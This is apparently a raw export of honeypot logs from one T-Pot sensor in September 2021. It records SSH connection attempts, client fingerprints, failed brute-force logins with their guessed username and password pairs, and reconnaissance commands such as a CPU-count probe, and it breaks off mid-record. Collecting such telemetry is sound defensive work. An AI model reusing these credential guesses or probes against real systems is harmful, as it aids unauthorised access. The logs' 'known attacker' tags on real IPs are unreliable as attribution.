34043	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:58:17.416756+03	2021-09-20 15:00:06.624162+03	{"_id": "-gYSA3wBvYTbRNuEOFLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 43.240.6.90:45956 (192.168.176.2:22) [session: 6c2b9e855b18]", "session": "6c2b9e855b18", "@version": "1", "protocol": "ssh", "src_port": 45956, "dest_port": 22, "timestamp": "2021-09-20T11:58:17.416756Z", "@timestamp": "2021-09-20T11:58:17.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34044	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:58:19.162207+03	2021-09-20 15:00:06.625162+03	{"_id": "BQYSA3wBvYTbRNuEPFPB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.login.failed", "message": "login attempt [developer/developer123] failed", "session": "6c2b9e855b18", "@version": "1", "password": "developer123", "username": "developer", "timestamp": "2021-09-20T11:58:19.162207Z", "@timestamp": "2021-09-20T11:58:19.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34045	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:58:20.514585+03	2021-09-20 15:00:06.626162+03	{"_id": "DgYSA3wBvYTbRNuERFOS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6c2b9e855b18", "@version": "1", "duration": 3.095245361328125, "timestamp": "2021-09-20T11:58:20.514585Z", "@timestamp": "2021-09-20T11:58:20.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34046	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:26.294399+03	2021-09-20 15:00:06.627176+03	{"_id": "LAYSA3wBvYTbRNuEXFMD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:26.294399Z", "@timestamp": "2021-09-20T11:58:26.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34047	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:58:27.752949+03	2021-09-20 15:00:06.628168+03	{"_id": "OAYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "359252657809", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:27.752949Z", "@timestamp": "2021-09-20T11:58:27.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34048	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:58:27.811137+03	2021-09-20 15:00:06.629182+03	{"_id": "OgYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "359252657809", "@version": "1", "timestamp": "2021-09-20T11:58:27.811137Z", "@timestamp": "2021-09-20T11:58:27.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34049	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:27.934291+03	2021-09-20 15:00:06.630174+03	{"_id": "OQYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "183.17.231.81", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6001222133636475, "duplicate": true, "timestamp": "2021-09-20T11:58:27.934291Z", "@timestamp": "2021-09-20T11:58:27.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34050	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:58:28.229472+03	2021-09-20 15:00:06.632173+03	{"_id": "OwYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [root/karim] failed", "session": "359252657809", "@version": "1", "password": "karim", "username": "root", "timestamp": "2021-09-20T11:58:28.229472Z", "@timestamp": "2021-09-20T11:58:28.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34051	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:58:27.810448+03	2021-09-20 15:00:06.633174+03	{"_id": "PwYSA3wBvYTbRNuEYVMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 103291671513793, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58718, "dest_port": 22, "timestamp": "2021-09-20T11:58:27.810448Z", "@timestamp": "2021-09-20T11:58:27.810Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34052	159.253.30.249	109.199.241.180	Fatt	2021-09-20 14:58:27.81053+03	2021-09-20 15:00:06.634175+03	{"_id": "QgYSA3wBvYTbRNuEYlMh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58718, "dest_port": 22, "timestamp": "2021-09-20T11:58:27.810530", "@timestamp": "2021-09-20T11:58:27.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34053	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:28.948945+03	2021-09-20 15:00:06.635175+03	{"_id": "QwYSA3wBvYTbRNuEY1PU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "183.17.231.81", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6028189659118652, "duplicate": true, "timestamp": "2021-09-20T11:58:28.948945Z", "@timestamp": "2021-09-20T11:58:28.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34054	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:28.346756+03	2021-09-20 15:00:06.637173+03	{"_id": "RAYSA3wBvYTbRNuEY1PU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:28.346756Z", "@timestamp": "2021-09-20T11:58:28.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34055	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:29.365549+03	2021-09-20 15:00:06.638174+03	{"_id": "SAYSA3wBvYTbRNuEZ1O9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:29.365549Z", "@timestamp": "2021-09-20T11:58:29.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34056	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:58:29.368114+03	2021-09-20 15:00:06.639174+03	{"_id": "SgYSA3wBvYTbRNuEZ1O9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "359252657809", "@version": "1", "duration": 1.6155357360839844, "timestamp": "2021-09-20T11:58:29.368114Z", "@timestamp": "2021-09-20T11:58:29.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34057	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:29.968962+03	2021-09-20 15:00:06.641175+03	{"_id": "SQYSA3wBvYTbRNuEZ1O9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "183.17.231.81", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6034975051879883, "duplicate": true, "timestamp": "2021-09-20T11:58:29.968962Z", "@timestamp": "2021-09-20T11:58:29.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34058	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:30.411059+03	2021-09-20 15:00:06.642174+03	{"_id": "TQYSA3wBvYTbRNuEa1Om", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:30.411059Z", "@timestamp": "2021-09-20T11:58:30.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34059	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:58:37.159659+03	2021-09-20 15:00:06.644173+03	{"_id": "dQYSA3wBvYTbRNuEg1Mb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:34440 (192.168.176.2:22) [session: e2743bff48ce]", "session": "e2743bff48ce", "@version": "1", "protocol": "ssh", "src_port": 34440, "dest_port": 22, "timestamp": "2021-09-20T11:58:37.159659Z", "@timestamp": "2021-09-20T11:58:37.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34060	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:58:37.442293+03	2021-09-20 15:00:06.645174+03	{"_id": "dwYSA3wBvYTbRNuEhFNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:36.881916+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1425959063155964, "payload": "AAADzAYU9lDof7bB0OaAavYed1X4pgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34440, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:37.442293Z", "@timestamp": "2021-09-20T11:58:37.442Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 